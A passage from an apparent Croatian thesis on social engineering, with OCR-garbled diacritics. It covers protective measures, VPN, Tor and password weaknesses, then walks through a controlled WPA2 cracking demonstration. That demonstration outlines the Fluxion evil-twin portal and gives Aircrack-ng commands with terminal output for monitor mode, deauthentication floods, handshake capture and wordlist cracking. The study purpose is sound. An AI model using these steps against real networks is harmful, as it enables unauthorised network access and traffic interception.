te se oslanja na znatiZelju ili pohlepu Zrtve. Sli¢no je phishing napadu, no razlikuje se u tome
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Sto se zrtvi obecava nekakva stvar kao poticaj da se uhvati na mamac. Nudi se besplatna glazba,
filmovi, ukoliko se prijave npr. na odredene web-stranice. Moze se provesti na na¢in da napadac
zarazene uredaje distribuira medu zaposlenicima, nadajuéi se da ¢e se povezati s mrezom ciljane
organizacije. Takvi uredaji mogu biti predstavljeni kao promotivni pokloni, nagrade za

sudjelovanje u anketi i na druge sli¢ne nacine. [23]
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3. MJERE I NACINI ZASTITE

Zastita od napada socijalnog inzenjeringa nije jednostavna kao zaStita hardvera ili softvera. Ne
postoji sustav zastite koji se moze privezati za zaposlenike ili obicne korisnike kako bi bili

sigurni od metoda socijalnog inzenjeringa. [5]

Metode zaStite mozemo podijeliti na metode zaStite organizacija i metode zaStite obicnih

korisnika.

3.1. METODE ZASTITE ORGANIZACIJE

Napadi socijalnim inzenjeringom se vrlo lako provode i teSko se obraniti od njih, budu¢i da se
oslanjaju na ljudski faktor. Veéina ljudi su uglavnom spremni pomoc¢i te vjeruju da se takve
vrste napada njima ne mogu dogoditi, a kada budu prevareni nisu ni svjesni toga. Zabrinjavajuca
je ¢injenica da je veliki postotak napada socijalnim inzenjeringom proveden upravo od osobe
unutar organizacije. Stoga, najbolja obrana protiv socijalnog inzenjeringa zapocinje
obrazovanjem. Sto vise zaposlenika razumije takvu vrstu prijetnje i na koji se na¢in provodi, to
je vjerojatnije da ¢e se oduprijeti takvom napadu i prijaviti takvu vrstu aktivnosti. Organizacija
mora iskoristiti niz tehnika kako bi osigurala odgovaraju¢u zastitu svoje imovine. Ta zaStita
mora ukljucivati podizanje svijesti o sigurnosti educiranjem svojih zaposlenika i osoblja,
identifikaciju 1 zaStitu povjerljivih informacija, tehnicku regulativu i sigurnosnu politiku

organizacije. [21]

3.1.1. PODIZANJE  SVIJESTI O  SIGURNOSTI  EDUCIRANJEM
ZAPOSLENIKA

Od velike je vaznosti da svi zaposlenici u organizaciji razumiju potencijalne prijetnje, znaju
osnovne sigurnosne procedure i sigurnosnu politiku organizacije. Primjer podizanja svijesti 0
sigurnosti je i jednostavno informiranje zaposlenika da nitko nikada iz organizacije nece pitati

za njihove lozinke. [21]

Zaposlenike je potrebno upoznati i sa posljedicama napada socijalnim inzenjeringom. Dobar
program obuke mora biti raznolik, potrebno je pro¢i kroz §to viSe mogucnosti i alata kako bi se

Sto viSe postiglo povecéanje svijesti i razumijevanje prijetnji. [15]
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Cetiri na¢ina podizanja svijesti o sigurnosti:

e napraviti formalno dokumentiranu sigurnosnu politiku i politiku obuke zaposlenika,
e pruziti osnovnu obuku o sigurnosti svim zaposlenicima unutar organizacije,
e osigurati specifiénu obuku individualnim zaposlenicima koji imaju vaznu ulogu i koji
imaju pristup znac¢ajnim informacijama unutar organizacije,
e dokumentirati, pratiti i ponavljati periodicno obuke podizanja svijesti i obuke o
sigurnosti za svo osoblje. [21]
Podizanje svijesti o sigurnosti nije samo kratkotrajni program kroz koji se prode jednom
godisnje. RijeC je o stvaranju sigurnosne kulture i1 skupa standarda koju svaka osoba treba

koristiti cijeli zivot. [5]

3.1.2. IDENTIFIKACIJA I ZASTITA POVJERLJIVIH INFORMACIJA

Vrlo je bitno da svaka organizacija identificira vazne i povjerljive informacije kojima raspolaze.
Mora se osigurati pravilna klasifikacija svih informacija. Takoder, sam pristup povjerljivim
informacijama mora biti ograni¢en samo za one koji imaju pravo pristupa tim informacijama.
Dobro promisljena i implementirana politika upravljanja identificiranjem, zaStitom i pravom

pristupa odredenim informacijama moze uvelike ublaziti napade na organizaciju. [21]

3.1.3. TEHNICKA REGULATIVA I SIGURNOSNA POLITIKA

Mudro implementirana tehnicka regulativa moze dosta oteZati napadaCima socijalnog
inZenjeringa da provedu uspjesni napad. Tehnicka regulativa ukljucuje razdvajanje duznosti,
kompleksnost lozinki, vise faktorsku autentifikaciju, vatrozid, sustave za otkrivanje napada i

drugo. Dobro dokumentirana sigurnosna politika kljuéni je dio obrambene strategije. [21]

Potrebno je provesti sigurnosnu provjeru za svakog novog zaposlenika kako bi se utvrdilo da
ne predstavlja sigurnosnu prijetnju organizaciji. Potrebno je provesti mjere zastite od virusa i
drugih zlonamjernih prijetnji. Provodenje politike o lozinkama je jedno od klju¢nih u zastiti od
socijalnog inzenjeringa. Bitno je nauciti zaposlenike da ne koriste iste lozinke za razlicite
namjene, da ne dijele nikada lozinku s drugima, da ne koriste osobne podatke za smisljanje

lozinke, kao ni da to ne budu prejednostavne lozinke. Vazno je nauditi ih da lozinke nikada ne
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zapisuju i ostavljaju na vidljivom mjestu, te da je lozinku potrebno promijeniti s vremena na
vrijeme. Bitno je svakom zaposleniku osigurati jedinstveni identifikator koji ¢e odrediti prava
pristupa za svakog zaposlenika pojedinac¢no. Tako da ako napada¢ sazna identifikator nekog

zaposlenika ima pravo pristupa samo odredenim dijelovima, dok je ostatak zastic¢en. [15]

3.2. METODE ZASTITE OBICNIH KORISNIKA

Svaka osoba koja se koristi internetom u opasnosti je da postane Zrtvom socijalnog inZenjeringa.
Najveci problem je Sto vecina ljudi smatra da se tako nesto njima ne moze dogoditi. Stoga je
potrebno provoditi edukaciju i obi¢nih korisnika, no to i nije toliko lagano kao obuka
zaposlenika unutar organizacije, pa se edukacija obi¢nih korisnika moze provoditi kroz razlicite
reklamne poruke, objavljivanjem vijesti o provedenim napadima ili na bilo koji drugi nacin
kako bi se utjecalo na obi¢ne korisnike te podigla njihova svijest o sigurnosti na internetu

opcenito.

Prate¢i odredene indikatore napada moze se i obi¢an korisnik zastiti te ne postati Zrtvom, a to
Su:
e ukoliko netko stvara veliki osjec¢aj hitnosti kako bi natjerao na donoSenje brzih odluka,
treba biti sumnjicav,
e obratiti pozornost na osobu koja trazi informacije za koje nema pristup ili bi te
informacije ve¢ trebao znati,

e obavijesti koje su toliko dobre da su nevjerojatne, kao §to je obavijest 0 dobitku na

lutriji. [7]

Za sprjeCavanje napada sa sljedeé¢im stvarima treba postupiti s oprezom:

e ukoliko postoji sumnja da netko pokusava provesti socijalni inZenjering, prekinuti svu
komunikaciju s tom osobom,

e biti sumnji¢av i prekinuti poziv ako treba, ukoliko je osoba koja zove nepoznata,

e ukoliko je primljeni email nepouzdan, odnosno poslan od strane nepoznatog posiljatelja,

a ne postoji povjerenje u poruku, potrebno je takav email izbrisati. [7]
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Svaki obi¢ni korisnik interneta moze poduzeti sljede¢e mjere zastite:

e online transakcije obavezno se provode preko web lokacija koje sadrze https protokol,
te uvijek provjeravati da li je ta web-stranica sigurna,

e nikada se osobni podaci ne smiju otkrivati preko telefona, pogotovo nepoznatom
pozivatelju ili preko web-stranica koje nisu sigurne,

e nikada ne kliknuti na poveznice, preuzimati datoteke ili otvarati privitke od nepoznatog
posiljatelja,

e Diti oprezan sa poveznicama na web obrasce koji traZze osobne podatke, ¢ak iako izgleda
da email dolazi od legitimnog izvora. Upravo su phishing stranice identi¢ne replike
legitimnih web-stranica,

e korisnici druStvenih mreza ne smiju vjerovati u svakoga i potrebno je da samo
ograni¢ene informacije o sebi pruzaju. Bilo bi dobro ne objavljivati npr. kuéne
fotografije, raspored godisnjih odmora. Nikada ne bi smjeli kliknuti na poveznice ili
videa nepoznatog podrijetla kao i nikada ne preuzimati nepouzdane aplikacije,

e usvojiti odgovarajuce sustave zastite poput filtra za nezeljenu poStu, antivirusni softver
1 nastojat provoditi konstantna azuriranja, [3]

e potrebno je biti sumnjiCav za bilo koju email poruku koja hitno zahtjeva osobne
financijske podatke ili prijeti ukidanjem online ra¢una ukoliko se neSto ne napravi,

e napadaci obi¢no traZe podatke kao $to su lozinka, korisni¢ko ime, broj kreditne kartice
i sl., §to prave organizacije koje te podatke imaju i traze nikada to nece €initi online,

e prevarantski email nece biti personaliziran, ve¢ ¢e zapoceti sa ,,Dragi korisnice,..., dok
su poruke od legitimnih entiteta uglavnom personalizirane,

e redovite promjene lozinki su potrebne za sve online racune, [8]

o lozinke su Cesto prva crta obrane protiv uljeza. Najjednostavniji su nacin, kao 1
najjeftiniji od specijalnih kartica kljuceva, uredaja za skeniranje otiska prstai sl.
No, iako su najcesce koriSteno sredstvo zastite, vrlo lako se mogu probiti. Za
sprjeCavanje napada na lozinku potrebno je stvoriti jake lozinke. Potrebno je da
lozinke budu dovoljno duge, buduci da je teZe probiti lozinku kako ona ima viSe
znakova. Opcenito je pravilo da lozinke sadrZe barem jedno veliko slovo, malo
slovo, brojeve, specijalne znakove kao $to su $, ?, &, te nestandardne znakove
poput u, £, £. [24]

o takoder, izbjegavati stavljanje iste lozinke za sve racune koji se koriste.
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3.3. VIRTUALNA PRIVATNA MREZA (VPN)

Jedan od nacina zastite od presretanja prometa preko interneta, odnosno neovlastenog pristupa
povjerljivim informacijama je koristenje virtualne privatne mreze. Virtualna privatna mreza za
prijenos podataka i medusobnu komunikaciju naj¢esée koristi internet, a privatnost se osigurava
primjenom odgovarajuc¢ih sigurnosnih mehanizama, poput enkripcije i tuneliranja. Budu¢i da
je promet izmedu uredaja 1 mreze kriptiran, ostaje privatan i zastien cijelo vrijeme prijenosa.
Virtualnu privatnu mrezu je najbolje zamisliti kao siguran tunel izmedu uredaja 1 odredista koje
se na internetu posjecuje. Rac¢unalo se spoji sa VPN posluziteljem, koji moze biti bilo gdje, od
SAD-a, Britanije, Francuske, Tajlanda i drugo. Prilikom koristenja VPN mreze spajanjem na
javnu Wi-Fi mrezu, napada¢ima ¢e tesko biti ukrasti podatke prijave ili preusmjeriti ratunalo
na laznu web lokaciju. Takoder, teSko ¢e im biti saznati 1 koje stranice se uopée posjecuju.
Ukoliko i dobiju uvid u lokaciju odakle se pristupa nekoj web stranici, vidjeti ¢e web lokaciju
VPN posluzitelja. VPN je dobar nacin zastite vlastite privatnosti i osiguranja podataka koji

mogu biti izloZeni razli¢itim vrstama napada. [25]

3.4. Tor (The Onion Router)

Tor je sustav koji nam omogucuje sigurno 1 anonimno koriStenje interneta, pretrazivanje i
objavljivanje web stranica, koriStenje svih sustava koji koriste protokole gradene na TCP
protokolu. Radi se o slojevitoj enkripciji, $to znaci da se podaci ponovno enkriptiraju i po
nekoliko puta za svaki prolaz kroz nasumice odabrane ¢vorove. Relejni krugovi se resetiraju
svakih 10 minuta nasumi¢nim odabirom, te se akcije ne mogu povezati. Osim toga, predstavlja
1 platformu koja omogucuje izgradnju novih aplikacija s ugradenim mogucnostima zastite
privatnosti korisnika i razli¢itim sigurnosnim elementima. Sigurnost i anonimnost prometa
preko interneta se osigurava spreCavanjem analiziranja ostvarenog mreZnog prometa.
Komunikacija se preusmjerava unutar distribuirane mreze posluZitelja, tzv. onion posluzitelja,
¢ime se korisnika $titi od web stranica koje neovlasteno sakupljaju podatke o posjetiteljima, od
napadaca koji pokusavaju ste¢i pristup potencijalno osjetljivim podacima pa ¢ak i od samih
onion posluZitelja. Tor mreza §titi od analize prometa, oblika nadzora internet aktivnosti koji
omogucuje utvrdivanje izvorista i odrediSta komunikacije. Kako bi se onemogucila analiza

prometa, transakcije se unutar Tor mreze distribuiraju preko veceg broja posrednika od kojih ni
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jedan ne poznaje izvoriSte, a niti odrediSte paketa. Umjesto izravnog slanja podataka od
posiljatelja prema primatelju, oni se Salju preko veéeg broja nasumi¢no odabranih posluzitelja.
Tor sustav korisnicima omogucuje i zastitu privatnosti, odnosno skrivanje njihova identiteta.
[26]

Lako je primijetiti da i Tor i virtualna privatna mreza imaju istu primarnu funkciju — pruziti
zaStitu anonimnosti na internetu i zaobi¢i vatrozid. Za vrhunsku privatnost mogu se koristiti

zajedno preko VPN-a koji ima moguénost ,,Tor over VPN konekcije. [27]

20



4. PROVODENIJE NAPADA

Provodenjem kontroliranih napada nastojat ¢e se pokazati koliko je lako do¢i do besplatnih
alata i softvera za provedbu razliCitih napada socijalnog inzenjeringa, te koliko se uz pomo¢ tih
alata lako mogu provesti jednostavni, ali u¢inkoviti napadi, a da nije ni potrebno preveliko
predznanje. Provedeni napadi izvrSeni su isklju¢ivo za potrebe ovoga rada, te se sve odvijalo u
kontroliranom okruzenju. Prvi program kojim se proveo napad obuhvaca otkrivanje lozinke
Wi-Fi mreze, drugi program stvara vlastitu laznu pristupnu tocku te prisluskuje promet

spojenog korisnika, dok treci stvara laznu web-stranicu.

4.1. PROBLEM LOZINKI

Digitalni trag korisnika interneta se Siri i obuhvaca sve, od druStvenih mreza, financijskih
podataka te podataka pohranjenih u oblaku, a ¢esto samo jedan racun podupire sigurnost cijelog
identiteta, a to je email adresa. Sve je to ugrozeno ukoliko se otkrije email lozinka ili se saznaju
odgovori na pitanja za oporavak lozinke. Jednom otkrivena, napada¢ moze resetirati sve lozinke
zrtve na drugim uslugama koje koristi, preuzeti sve njezine podatke, obrisati podatke i

sigurnosne kopije, ili se lazno predstavljati kao Zrtva. [28]

Najveci je problem u samom korisniku, ljudi stvaraju slabe lozinke, ponovno ih upotrjebljuju
na viSe web mjesta, dijele informacije na druStvenim mrezama i nenamjerno klikaju na
poveznice koje mogu biti maliciozne i1 preuzeti zlonamjerni softver ili virus. Napadacu je
jednostavan uvid u lozinku prilika za otkrivanje svih drugih racuna koje taj korisnik ima, te

mogucnost otkrivanja svih podataka o Zrtvi za zlonamjernu upotrebu. [29]

Zbog razli¢itih nacina kako koristimo internet, lako je shvatiti neke lozinke manje vaznima od
drugih. Medutim, svaka je lozinka vazna jer napadac¢ lako spoji sve informacije koje su
pohranjene online 1 iskoristiti ih za svoju dobit. SloZzene metode otkrivanja koje koriste postaju

sve lakSe dostupnima i sve vise u¢inkovitijima. Najvece greske koriStenja lozinki su sljedece:

e koriStenje slabe lozinke: lozinka se smatra slabom ukoliko se moze pogoditi. Slabe
lozinke su uobicajeni izrazi, koriStenje vlastitog imena i prezimena, datuma rodenja, ili
koriStenje izraza ,lozinka® ili ,,p@sswOrd*. Primjeri slabih lozinku su jo$ i: 123456,

gwerty, admin, abc123, hello i dr.
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e upotreba iste lozinke za svaki pojedinacni rac¢un: ukoliko napadac otkrije jednu lozinku
za jedan racun, tada moze pristupiti svim drugim racunima koje ta Zrtva ima. Takoder,
upotreba istog uzorka za sve lozinke je riskantna. Napadac¢ moze otkriti strukturu jedne
lozinke, §to povecava Sanse da otkrije lozinke za druge racune.

e otkrivanje lozinke drugima: tu se ukljucuje i1 prijavljivanje na javnim racunalima,
cuvanje biljeski sa zapisanom lozinkom, ili jednostavno otkrivanje lozinke prijateljima
ili drugima. [30]

e zamjena brojeva za slova: naizgled efektivan nacin, no lako ga je otkriti, buduci da danas
postoje razliciti softveri za detektiranje takvih na¢ina. Primjer zamjene je zamjena slova
E sa brojem 3, slova O sa brojem 0, slova | sa brojem 1 i dr.

e koristenje lozinke koja je prekratka: dok je prije lozinka od pet do Sest znakova bila
smatrana dugom lozinkom, danas postoje softveri koji takvu lozinku mogu probiti u
kratkom vremenu. Stoga, danas se dugom smatra lozinka od 12 znakova i vise.

e koriStenje iste lozinke, no sa samo jednom promjenom: ovo se odnosi kada korisnik
smatra da je promjenom samo jednog znaka unutar lozinke, stvorio kompletno novu
lozinku. Softveri danas to lako prepoznaju i vrlo lako probiju. Primjer je kada korisnik
ima lozinku koja glasi: ,,lozinkal®, a za drugi racun, ili na tom istom racunu promijeni

lozinku u: ,,lozinka2*. [31]

4.1.1. Wireless Local Area Network

WLAN (eng. Wireless Local Area Network) skracenica je za bezi¢nu lokalnu mrezu, a
predstavlja raCunalnu mrezu koja povezuje jedno ili viSe raCunala pomocu bezi¢ne tehnologije,
pomocu elektromagnetskih valova koji su smjesSteni izmedu radio valova i infracrvenih valova,

frekvencije od 2,4 GHz do 5,8GHz. Osnovni elementi beZi¢ne mreze su:

e beZi¢na mreZna kartica: osigurava osnovnu mreznu komunikaciju, odnosno brine se za
adresiranje unutar WLAN, 1 identificira klijenta ili pristupnu tocku,

e pristupna tocka: korisnicima bezi¢nih uredaja omogucuje pristup mrezi,

e stanice: spajaju se na pristupne tocke; uredaji poput racunala, pametnih telefona i sl.,

e BSS — Basic Service Set: osnovni element mreze, a ¢ine ga dvije ili vise stanica,
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e BSSID — Basic Service Set Identifier: identifikator mreze; kod infrastrukturnog BSS-a
(kada sve stanice komuniciraju preko pristupne tocke) rijec je o fizickoj MAC adresi
pristupne tocke,

e SSID — Service Set Identifier: predstavlja naziv mreze od minimalno 32 ASCII znaka.
[32]

Postoje 3 glavna standarda koji sluze za zaStitu WLAN prometa: WEP (Wired Equivalent
Privacy), WPA (Wi-Fi Protected Access) i WPA2.

e WEDP: prvi standard za zaStitu podataka i definiran je unutar standarda IEEE802.11.
Rijec¢ je o simetri¢nom algoritmu koji koristi isti tajni klju¢ za enkripciju i dekripciju.
Klju€evi su standardnih duljina od 64, 128 i 256 bita. WEP enkripcija koristi RC4
algoritam za kriptiranje, te se kriptira bit po bit.

e WPA: koristi kao i WEP RC4 algoritam za enkriptiranje, ali je poboljSan TKIP
protokolom koji sluzi za dinami¢ko mijenjanje kljuceva u vrijeme koristenja sustava.

e WPA2: standard koji ne koristi RC4 algoritam ve¢ AES, napredni enkripcijski standard.
[33]

Handshake je pojam koji se koristi za opis procesa jednog raunala koji uspostavlja vezu s
drugim racunalom ili uredajem. Handshake je Cesto korak potvrdivanja veze, brzine ili

autorizacije racunala koje se pokusava povezati s njom. [34]

4.1.2. Fluxion

Fluxion je alat koji automatizira proces stvaranja lazne pristupne toc¢ke blizanca kako bi uhvatio
WPA/WPAZ2 lozinke. Fluxion je mjeSavina tehnickog dijela napada 1 socijalnog inZenjeringa
koji nasamaruje zrtvu da preda Wi-Fi lozinku. Baziran je na programima koji su ve¢ dio Kali
Linux distribucije, kao $to su aircrack-ng, mdk3, hostapd i dr. Rije¢ je o napadu socijalnim
inZenjeringom koji koristi zlonamjernu laznu pristupnu tocku blizanca, integrirani zastoj, te
funkciju hvatanja handshake-a kako bi se nasamario korisnik. Za razliku od drugih sli¢nih
programa, Fluxion provjerava tocnost WPA/WPA?2 lozinke, 1 pruza samo one lozinke koje su

ispravne za tu ciljanu bezi¢nu mreZu.
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Fluxion je jedinstveni alat koji koristi WPA handshake, ne samo da kontrolira ponasanje
stranice za prijavu, ve¢ i ponasanje Citave skripte. Zaustavlja originalnu pristupnu tocku, stvara
laznu pristupnu toc¢ku blizanca, privlace¢i odspojenog korisnika na ponovno spajanje, ali na
laznu to¢ku. PrikaZe se lazna forma za prijavu gdje se mora unijeti lozinka za nastavak. Ovaj
alat koristi uhvaceni handshake kako bi provjerio unesenu lozinu i1 nastavlja jedino ako je
unesena lozinka to¢na. Ovaj napad je naju¢inkovitiji kada je usmjeren zrtvi koja nije tehnoloski
upucena. Osjetljive pristupne tocke sa sustavom za otkrivanje upada mogu otkriti i pokusati se

obraniti od napada blokirajuci IP adresu napadac¢a kao odgovor na integrirani zastoj. [35]

Glavna prednost ovog alata je da mu nije potreban rjecnik lozinki kao ni napad uzastopnim

pokusavanjem (eng. brute-force attack) za otkrivanje lozinki.
Osnovni koraci kroz koje napad prolazi:

e skeniraju se sve bezi¢ne mreze u krugu zlonamjernog racunala, te se odabire od
ponudenih ciljana Zrtva,

e aktivira se Handshake Snooper napad te se uhvati handshake (ukoliko ve¢ postoji
prethodno uhvacen handshake, unese se samo putanja do .cap datoteke),

e aktivira se Captive Portal napad,

e stvara se laZzna pristupna tocka blizanac, koja je potpuno ista kao i originalna,

e svi zahtjevi DNS serveru se usmjeravaju na napadaca,

e stvara se Captive Portal za unos lozinke,

e svi klijenti se odspajaju automatski sa svoje pristupne to¢ke i spajaju na laznu,

e svi se zahtjevi Captive Portalu provjeravaju sa prethodno uhva¢enim handshake-
om,

e napad zavrSava ¢im se uhvati to¢na lozinka. [36]

Prvu fazu napada, a to je hvatanje handshake-a pokazati ¢emo na drugi nacin kako se moze

uhvatiti. Rije¢ je o koristenju alata Aircrack-ng koji je ve¢ integriran u Kali Linux distribuciji.
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4.1.2.1. Aircrack-ng

Aircrack-ng je naziv za skup besplatnih alata za procjenu sigurnosti bezi¢ne mreze. Moze pratiti
mrezni promet, probijati WEP, WPA/WPA2 lozinke te analizirati bezicne lokalne mreze.
Podrzan je i na Windows operacijskim sustavima i na Linux operacijskim sustavima, no
preporuca se upotreba na Linux sustavima jer se na Windowsima moze nai¢i na brojna

ograni¢enja koji su posljedica samog operacijskog sustava. [37]

KoriStenjem ovog alata pokazat ¢emo kako se moze uhvatiti handshake, te na taj nacin otkriti
lozinka ciljane zrtve. Koristena je Kali Linux distribucija, koja ve¢ sadrzi Aircrack-ng

programski paket. Osnovni koraci kroz koje ¢emo proci:

e mreznu karticu ¢emo postaviti u monitor nacin rada,
e pokrenut ¢emo u terminalu naredbu ,,airodump-ng* s filtrom za BSSID zrtve,
e koristit ¢emo ,,aireplay-ng* naredbu u terminalu za deautentifikaciju zrtve s mreze,

e naredbom u terminalu ,,aircrack-ng“ pokusat ¢emo saznati lozinku.

Zapoc¢injemo na nacin da postavimo mreznu karticu u monitor nacin rada, $to znaci da mrezna
kartica moze prisluskivati svaki paket. U normalnom nacinu rada prisluskivati ¢e pakete koji
su upuceni samo svom racunalu. PrisluSkuju¢i sve pakete, omoguceno je hvatanje handshake-

a. Naredba ,,iwconfig“ prikazuje nam listu bezi¢nih suéelja.

:~# iwconfig
no wireless extensions.

IEEE 802.11 ESSID:"sWEHYil"

Mode:Managed Frequency:2.412 GHz Access Point: CC:7B:35:2F:58:CA
Bit Rate=1 Mb/s Tx-Power=20 dBm

Retry short limit:7 RTS thr:off Fragment thr:off

Encryption key:off

Power Management:on

Link Quality=39/70 Signal level=-71 dBm

Rx invalid nwid:® Rx invalid crypt:® Rx invalid frag:@
Tx excessive retries:® Invalid misc:10 Missed beacon:0

no wireless extensions.

Slika 1: KoriStenje naredbe ,,iwconfig* za prikaz bezi¢nih sucelja
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Za provjeru da li bezi¢na kartica racunala uopce 1 podrzava monitor nacin rada, moze se lako

provjeriti koristenjem naredbe ,,iw list u terminalu:

Supported interface modes:
* IBSS
- managed
- AP

- AP/VLAN

* monitor

- mesh point
P2P-client
P2P-GO
P2P-device

Slika 2: Koristenje naredbe ,,iw list“ koja pokazuje sve nacine rada koristene bezi¢ne kartice raunala

Vidimo da je nase bezi¢no sucelje wlan0, kojeg ¢emo staviti u monitor nacin rada. Airmon-ng
skripta iz Aircrack-ng skupine alata omoguéuje stavljanje u monitor nacin rada. Parametar start
oznacuje upravo to da se bezi¢no sucelje wlan0 postavi u monitor nacin rada. Za vracanje u

normalni nacin rada, koristi se parametar stop.

:~# airmon-ng start wlan®

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill!'

PID Name

2199 NetworkManager
2213 wpa supplicant
2245 dhclient

PHY Interface Driver Chipset

phyo wlano athlek pci Qualcomm Atheros QCA9377 802.1lac Wireless Net
work Adapter (rev 31)

(mac80211 monitor mode vif enabled for [phy®]wlan® on [phy®]wlan®mon)
(mac80211 station mode vif disabled for [phy®]wlan®)

Slika 3: KoriStenje naredbe ,,airmon-ng* za stavljanje bezi¢ne kartice u monitor na¢in rada
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Vidimo da je bezi¢na kartica postavljena u monitor nacin rada, te joj je dodijeljeno sucelje
wlanOmon. Budu¢i da je javljeno upozorenje kako neki veé pokrenuti procesi mogu

prouzrokovati probleme, naredbom ,,airmon-ng check kill* zaustavljamo te procese.

:~# airmon-ng check kill

illing these processes:

PID Name
2213 wpa supplicant

Slika 4: Koristenje naredbe ,,airmon-ng check kill* za zaustavljanje procesa koji mogu prouzrokovati
probleme u daljnjem radu

Ponovnom upotrebom naredbe ,,iwconfig® vidimo da nam je sucelje promijenilo naziv u

wlanOmon, te da je sad postavljen u monitor nacin rada.

:~# iwconfig
no wireless extensions.

IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=0 dBm

Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on

no wireless extensions.

Slika 5: Prikaz da je sucelje u monitor nacinu rada upotrebom naredbe ,,iwconfig*

Koristenjem naredbe ,,airodump-ng wlanOmon* dobijemo ispis informacija o svim bezi¢nim

mrezama koje se nalaze u blizini racunala s kojeg smo 1 pokrenuli naredbu.

27



CH 13 ][ Elapsed: 12 s ][ 2018-07-20 14:21
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

CC:7B:35:2F:58:CA -64 17 (0] 0 1 54e. WPA2 CCMP PSK sWEHYil

20:89:86:9E:73:98 -90 4 0] 0 6 54e WPA2 CCMP PSK OptiDSL

BSSID STATION PWR Rate Lost Frames Probe

CC:7B:35:2F:58:CA 74:E5:43:34:D3:06 -64 =} 28 7 SWEHYil

Slika 6: Prikaz ispisa naredbe ,,airodump-ng wlanOmon*

Airodump-ng zapisuje prikupljene pakete u datoteke .cap formata koju ¢emo Koristiti poslije za
otkrivanje lozinke, kao i druge datoteke razli¢itih formata. Nakon §to pronademo ciljanu zrtvu,
u nasem slucaju rije¢ je o pristupnoj tocki SWEHYil, zaustavljamo provodenje naredbe,
odnosno prisluskivanje mreznog prometa sa kombinacijom tipki CTRL+C. Dodavanjem
parametara naredbi ,,airodump-ng“, mozemo preusmjeriti snimanje mreznog prometa na samo
ciljane pristupne toc¢ke. Ubaciti ¢emo parametre -C, $to nam oznacava kanal na kojem se nalazi
ciljana pristupna tocka, zatim parametar -w, §to nam je naziv datoteke u koji ¢e se spremiti
snimljeni podaci o mreznom prometu ciljane pristupne tocke, te parametar --bssid koji je MAC
adresa ciljane pristupne tocke. Rezultat naredbe: ,airodump-ng -c 1 -w TestF —bssid
CC:7B:35:2F:58:CA wlanOmon*, prikazan je na sljedecoj slici.

CH 1 ][ Elapsed: 6 s ][ 2018-07-20 14:22

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
CC:7B:35:2F:58:CA -72 83 68 0 0 1 54e. WPA2 CCMP PSK sWEHYil

BSSID STATION PWR Rate Lost Frames Probe

Slika 7: Prikaz rezultata naredbe koja omogucuje prikaz podataka ciljane pristupne tocke

Naredba ,,aireplay-ng“ sluzi za ubacivanje paketa u bezicnu mrezu te na taj nafin generira

mrezni promet. Parametar --deauth Salje pakete deautentifikacije jednom ili viSe klijenata koji
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su trenutno povezani s pristupnom tockom. Broj 100 oznacava da Ce se ti zahtjevi poslati 100

puta. Parametar -a definira MAC adresu pristupne tocke.

:~# aireplay-ng --deauth 100 -a CC:7B:35:2F:58:CA wlan@mon

-ignore-negative-one
14:52:52 Waiting for beacon frame (BSSID: CC:7B:35:2F:58:CA) on channel 1
\B: this attack is more effective when targeting
A connected wireless client (-c =client's mac=).
4:52:52 Sending DeAuth to broadcast -- BSSID: [CC:
4:52:52 i DeAuth to broadcast -- BSSID: [CC:
4:52:53 Sendi DeAuth to broadcast -- BSSID: [CC:
4:52:53 Sendi DeAuth to broadcast -- BSSID: [CC:
4:52:54 Sendi DeAuth to broadcast -- BSSID: [CC:
4:52:54 Sendi DeAuth to broadcast -- BSSID: [CC:
4:52:55 i DeAuth to broadcast -- BSSID: [CC:
4:52:55 Sendi DeAuth to broadcast -- BSSID: [CC:
4:52:56 Sending DeAuth to broadcast -- BSSID: [CC:
4:52:56 Sending DeAuth to broadcast -- BSSID: [CC:
4:52:57 Sending DeAuth to broadcast -- BSSID: [CC:
4:52:57 Sending DeAuth to broadcast -- BSSID: [CC:
4:52:58 DeAuth to broadcast -- BSSID: [CC:
4:52:58 nding DeAuth to broadcast -- BSSID: [CC:
4:52: Sending DeAuth to broadcast -- BSSID: [CC:
4:52: Sending DeAuth to broadcast -- BSSID: [CC:
4:52: Sending DeAuth to broadcast -- BSSID: [CC:
4:53: Sending DeAuth to broadcast -- BSSID: [CC:

H-EF Sending DeAuth to broadcast -- B5SID: [CC:

Slika 8: Prikaz rezultata naredbe koja $alje deautentifikacijske pakete

Prethodnu naredbu ,,airodump-ng*“ ne gasimo u terminalu, ve¢ nakon provedene posljednje
naredbe slanja deautentifikacijskih paketa cekamo kada ¢e nam se u tom terminalu gdje se
prisluskuje mreZni promet pokazati da je uspjeSno uhvaéen WPA handshake, $to vidimo u

desnom gornjem rubu sljedece slike.

Elapsed: 1 min ][ 2018-07-20 14:54 ][ WPA handshake: CC:7B:35:2F:58:CA
PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
-70 100 1076 17722 27 1 54e. WPA2 CCMP PSK sSWEHYil

STATION PWR Rate Lost Frames Probe

9C:4F:CF: : : -30 0 - 1le 4
24:4B:81:18:16: -53 Pe- 9e 22 SWEHY1il
08:3D:88: 2 - -51 Pe- 0 94
74:E5:43: 5 - -56 Pe- Oe

90:E7:C4: 2 2 -64 Pe- 1 12
BC:76:5E: :CA: -77 Oe-24

Slika 9: Prikaz da je handshake uhvacéen
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Naredbom ,,aircrack-ng “ te koriStenjem parametara -w, koji nam oznacava putanju rje¢nika
odakle ¢e se pokusati probiti lozinka, te same .cap datoteke u koju je iz prethodno provedenih
koraka spremljen handshake, dobijemo sljede¢i rezultat. Buduci da je rijec o testnom napadu,
u rjecnik lozinki upisana je i lozinka ciljane nam zrtve, mreze SWEHYi1, stoga nam je i rezultat
uspjesan. No, to samo znaci da se lozinke kao Sto je ve¢ spomenuto, npr. 1234, qwerty,

password i druge mogu s lakoc¢om probiti.

:~# aircrack-ng -w /usr/share/wordlists/nmap.lst TestF-01.cap
Dpening TestF-01.cap
ead 38004 packets.
# BSSID ESSID Encryption
1 CC:7B:35:2F:58:CA SsWEHYil WPA (1 handshake)

hoosing first network as target.

Dpening TestF-01.cap
eading packets, please wait...

Aircrack-ng 1.2 rc4
[00:00:00] 88/1558 keys tested (1178.55 k/s)
Time left: 1 second

KEY FOUND! [
Master Key

Transient Key
98
BB
F4

EAPOL HMAC =50
